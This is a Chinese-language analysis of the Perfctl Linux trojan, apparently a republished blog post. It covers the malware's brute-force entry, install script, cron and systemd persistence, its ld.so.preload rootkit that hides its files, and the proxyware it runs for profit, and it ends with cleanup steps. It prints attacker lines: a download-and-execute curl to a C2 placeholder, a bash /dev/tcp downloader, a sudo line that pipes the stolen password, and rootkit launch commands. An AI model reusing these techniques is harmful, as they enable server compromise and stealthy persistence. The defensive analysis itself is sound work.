0x00 结论
0、中招后,会中rootkit,会做权限维持,会自身隐藏等
1、中招后,没有重启过的机器,清除需杀掉所有中招后再启动的进程
2、中招后,重启过的机器,在清除后,需要立马重启
3、需要下载busybox来做清除
4、目前看到的行为是植入各种流量代理,用于挂机赚收益
0x01 来源
看到数台有类似高危命令的机器:
bash -c export VEI=s_{IP};p='IyMhL2Jpbi9iYXNo...
发现初次在执行该命令前,都存在异常登陆,且执行的命令中包含受害者IP、密码等信息,故推断为爆破后植入。
0x02 木马分析
一、安装脚本分析
脚本主要功能:
0、判断是否root如果不是root则sudo到root后执行,用的是爆破成功的密码:
if [ root != 'root' ] && command -v sudo >/dev/null && echo {password} |sudo -S -l|grep -q ALL;
VEI=s_{IP} 对应被爆破成功的IP
1、shell实现了一个curl
function __curl() {
read proto server path <<<$(echo ${1//// })
DOC=/${path// //}
HOST=${server//:*}
PORT=${server//*:}
[[ x"${HOST}" == x"${PORT}" ]] && PORT=80
exec 3<>/dev/tcp/${HOST}/$PORT
echo -en "GET ${DOC} HTTP/1.0rnHost: ${HOST}rnUser-Agent: curl/7.74.9rnrn" >&3
(while read line; do
[[ "$line" == $'r' ]] && break
done && cat) <&3
exec 3>&-
}
2、只在x86_64上运行
if ! uname -m|grep -q "x86_64";
then
exit
fi
3、创建木马运行目录
mkdir /tmp/.perf.c 2>/dev/null
mkdir /tmp/.xdiag 2>/dev/null
4、判断是否已安装/在运行
标识为:
端口监听:cat /proc/net/tcp|grep -e 44870 -e 63582 -e ':f85e' -e ':af46' -i -q
目录存在:if [ -f /tmp/.xdiag/p ] && [ -e /proc/$(cat /tmp/.xdiag/p) ];
5、未安装则下载安装
curl -A"curl/7.74.9" -s -o /tmp/httpd http://{C2HOST}/checklist.php
执行:
KRI=kr httpd >/dev/null 2>&1 &
二、木马程序分析
行为在vt的沙箱里可以看到一些行为分析:https://www.virustotal.com/gui/file/22e4a57ac560ebe1eff8957906589f4dd5934ee555ebcc0f7ba613b07fad2c13/behavior
样本MD5:656e22c65bf7c04d87b5afbe52b8d800 /root/.config/cron/perfcc
直接运行主程序后,看到的行为有:
1、释放文件
/tmp/.xdiag/int/.e.lock # 主进程pid文件
/tmp/.apid # 子进程pid 文件
/tmp/.xdiag/ # 主程序运行数据文件,里面有log、tor等相关数据
/bin/.local/bin/* # 常见命令替换及隐藏
/bin/perfcc # 用于服务拉起、计划任务拉起、命令拉起
/root/.config/cron/perfcc # 用于计划任务拉起
/lib/libgcwrap.so # 用于hook
# 计划任务
/etc/cron.d/perfclean
/etc/cron.hourly/perfclean
/etc/cron.daily/perfclean
/var/spool/cron/crontabs/root
# 服务
/etc/systemd/system/kmodaudit.service
/etc/systemd/system/kmodaudit.timer
/lib/libpprocps.so # 主程序 用于.so 恢复控制
/lib/libfsnldev.so # 主程序 用于.so 恢复控制
2、隐藏及维持
a、伪造自身为系统常驻进程名
会把自身复制到/tmp/.perf.c/
,再从当前的进程列表中,找到一个服务进程,并复制自身为服务进程文件名。用于混淆视听,这也是为啥/tmp/.perf.c/
目录中通常有同样md5的两个2进制文件。
之后再次运行该进程:
子进程的pid存放在:/tmp/.apid
每次启动perfctl
后,都会更新pid,并且,重命名/tmp/.perf.c/
中的文件,通常为常见服务文件名,用于混淆视听。
对应的要伪造的服务进程,会从当前进程列表中取。
重新拉起后,对应更新pid和文件名。
b、替换常用命令
该程序会修改 /etc/profile
,增加对应的环境变量:
export PATH=/bin/.local/bin:$PATH
在/bin/.local/bin
中,主要是替换常见用于排查的命令:
主要手法是增加grep -v
隐藏和木马有关的信息,如运行crontab
:
c、权限维持
1、修改~/.profile
增加/bin/perfcc
:
test -x /bin/perfcc && FPROF=p /bin/perfcc
2、添加计划任务
# 添加计划任务文件:
-rw-r--r-- 1 root root 22 Aug 20 19:41 /etc/cron.d/perfclean
-rwxr-xr-x 1 root root 17 Aug 20 19:41 /etc/cron.hourly/perfclean
-rwxr-xr-x 1 root root 17 Aug 20 19:41 /etc/cron.daily/perfclean
# 添加计划任务
/var/spool/cron/crontabs/root
# crontab -l
11 * * * * /root/.config/cron/perfcc
3、创建定时服务
# cat /etc/systemd/system/kmodaudit.service
[Unit]
Description=Kernel module perf audit and reporting
Wants=kmodaudit.timer
[Service]
Type=oneshot
RemainAfterExit=yes
Environment=FSYSD=sd
ExecStart=/bin/perfcc
StandardOutput=null
StandardError=null
TimeoutStopSec=1s
TimeoutStartSec=1y
[Install]
WantedBy=multi-user.target
# cat /etc/systemd/system/kmodaudit.timer
[Unit]
Description=Kernel module perf audit and reporting
Requires=kmodaudit.service
[Timer]
Unit=kmodaudit.service
OnCalendar=*-*-* 00,02,04,06,08,10,12,14,16,18,20,22:45:00
AccuracySec=5m
[Install]
WantedBy=timers.target
三、rootkit分析
在/etc/ld.so.preload
中增加 /lib/libgcwrap.so
该文件作用有以下作用:
1、隐藏命令返回与主程序相关内容
当重启后,或者,重新ssh登录上去后,效果更佳,因为对应的tty
也被hook
了,tab补全都无法补全对应文件夹下内容。
2、利用常驻进程维持权限
中招后,会拉起几个正常的常驻服务,并且在其中,注入恶意.so。
如:
root 1647 1 0 11:48 ? 00:00:00 /usr/sbin/cron -f
root 1698 1 0 11:48 ? 00:00:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
root 1753 1 0 11:48 ? 00:00:00 /lib/systemd/systemd-journald
root 1757 1 0 11:48 ? 00:00:00 /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal
所以,需要把所有已注入的进程全部结束,才能完全清除。
3、恢复自身主程序
当检测到自身被清理后(或许没检测,单纯定时跑,或者注入函数被触发).so注入的进程,会重新写一个木马主程序,并把它跑起来,对应,上面所有的行为,再来一遍。
重启后,几乎所有进程都被注入恶意.so
完成清理后,又有主程序被拉起来,通过日志看到写 /tmp/javax64
以及拉起来的主进程是:
"argv":"/sbin/init","target":"/tmp/javax64"
也就是说,直接是 pid:1,写入的/tmp/javax64
就是主程序。
0x03 libgcwrap.so 分析
hook函数:
被hook的函数有35个,覆盖最常规的操作。
对应分析gwrap_init
,发现主要通过:tVpVskzzChOsJMKuA
和 zAdkqhLHYfNAebWBSQLe
来做各种操作。
先解密:tVpVskzzChOsJMKuA
,这个变量中存放着各种字符串,但都被加密了:
解密后,能看到字符串如下:
'/proc/self/mountinfo
%f %f %f %s %s
/proc/%d/fd
/lib/libgcwrap.so
.xdiag;.perf.c;.dmesg;perfctl;perfcc;libgcwrap.so;ld.so.preload;libfsnldev.so;libpprocps.so;wizlmsh
/tmp/.xdiag/cp
/var/log/wtmp
Welcome back, friend.
/dev/tty
/tmp/.xdiag/wtp
/tmp/javax64
dash
/dev/shm/.dmesg/pds
bash
/tmp/.xdiag/p
/proc/loadavg
/proc/
%s/environ
/proc/%d/environ
/tmp/.xdiag/uid
/tmp/.xdiag/ua
%s %lu %lu %lu %lu %lu %lu %lu %lu %lu %lu
/bin/zsh
/tmp/.xdiag/data/tty/%s.%d.%d.%d.%d.txt
LGCEXTR
AAZHDE=1
/proc/%d
serviceroot
/lib/libfsnldev.so
/bin/bash
%.2f %.2f %.2f %s %s
/bin/csh
/tmp/wttwe2
/bin/ksh
/proc
/bin/sh
/run/user/0/bus
echo 1|cat > /tmp/wttwe2
/dev/pts/
/proc/self/fd/%d
/proc/net/tcp6
/dev/shm/libpprocps.so
/dev/shm/.dmesg/ino
/proc/
/proc/net/udp
/usr/bin/sh
/tmp/.xdiag/int/ins
/bin/dash
/etc/ld.so.preload
%d: %64[0-9A-Fa-f]:%X %64[0-9A-Fa-f]:%X %X %lX:%lX %X:%lX %lX %d %d %lu %512s\n
servicelgcroot
/lib
/proc/%d/exe
/tmp/wttwe
/proc
HISTFILE=/dev/null
PATH=/tmp:$PATH;chmod 777 /tmp/javax64;nohup env AALD=1 AAWTP=%d javax64 >/dev/null 2>&1 &
/dev/stderr
/bin/bash
AAZHDE
/proc/stat
/tmp/.xdiag/int/.per.s
/proc/net/unix
LGCTR0-XR
TERM=xterm
44870;44869;63582;56615;48242;4145
/dev/shm/libfsnldev.so
%s %lu %lu %lu %lu %lu %lu %lu %lu %lu %lu\n
%s%lu %lu %lu %lu %lu %lu %lu %lu %lu %lu
PATH=/tmp:$PATH;chmod 777 /tmp/javax64;nohup env AALD=1 AAWTP=%d KRI=kr javax64 >/dev/null 2>&1 &
/proc/net/tcp
%.2f %.2f %.2f %s %s\n
/var/run/utmp
libgcwrap.so
/tmp/.apid
/proc/
/tmp/.xdiag/data/pam/%s.log
%f %f %f %s %s\n
/lib/libpprocps.so
touch /tmp/wttwe2
解密后,对应注册函数映射表:
然后就开始各种用函数表和字符串表做事情了:
就不详细分析了。
根据上面解密后的字符串dict,配合行为能猜到做了些啥:
/lib/libpprocps.so 是主程序,猜测是复制到/tmp/javax64 然后跑起来。
/lib/libfsnldev.so 也是主程序。
/tmp/wttwe2 /tmp/wttwe 这两个文件也在行为中抓到了,不过没来得及看里面是啥。
44870;44869;63582;56615;48242;4145 为启动后,监听的端口。
0x04 植入目的
在清理过程中,看到过它拉起来一大段bash脚本,decode后,详细看了一下脚本大体做了些什么。
首先,能远控应该是肯定的,理论上是可以下发任务的。
脚本中,看到了这些内容:
_start_bpn ==> bitping
_start_efm ==> earnfm
_start_rpk ==> Repocket
_start_ipr ==> iproyal
_start_spd ==> SpeedShare
_start_pra ==> proxyrack
_start_pst ==> packetstream
_start_grs ==> 还没实现
补充了一下对应函数安装的东西,看了看,都是些可以把cvm共享出去,作为一些代理,进而盈利的东西。
0x05 清理逻辑
找GPT4写脚本吧,告诉它你要做下面的事情:
0、清除 /etc/ld.so.preload 中的 /lib/libgcwrap.so /usr/lib/libgcwrap.so
1、读取/tmp/.apid 获取 主进程pid
2、读取/tmp/.xdiag/int/.e.lock,获取 子进程pid
3、清空crontjob 中内容:11 * * * * /root/.config/cron/perfcc
4、清空定时计划脚本:
/etc/cron.d/perfclean
/etc/cron.hourly/perfclean
/etc/cron.daily/perfclean
/var/spool/cron/crontabs/root
5、停止并删除服务/etc/systemd/system/kmodaudit.service、/etc/systemd/system/kmodaudit.timer
6、清除/etc/profile中增加的 export PATH=/bin/.local/bin:$PATH
7、清除~/.profile中增加的 test -x /bin/perfcc && FPROF=p /bin/perfcc
8、删除文件及文件夹 ~/.config/cron/ 、/tmp/.perf.c/、/tmp/.xdiag/、/tmp/.apid、/bin/perfcc、/bin/.local/bin/
9、把所有删除的文件,再创建一下,然后用chattr +ia锁住
原文始发于微信公众号(Purpleroc的札记):Perfctl 木马分析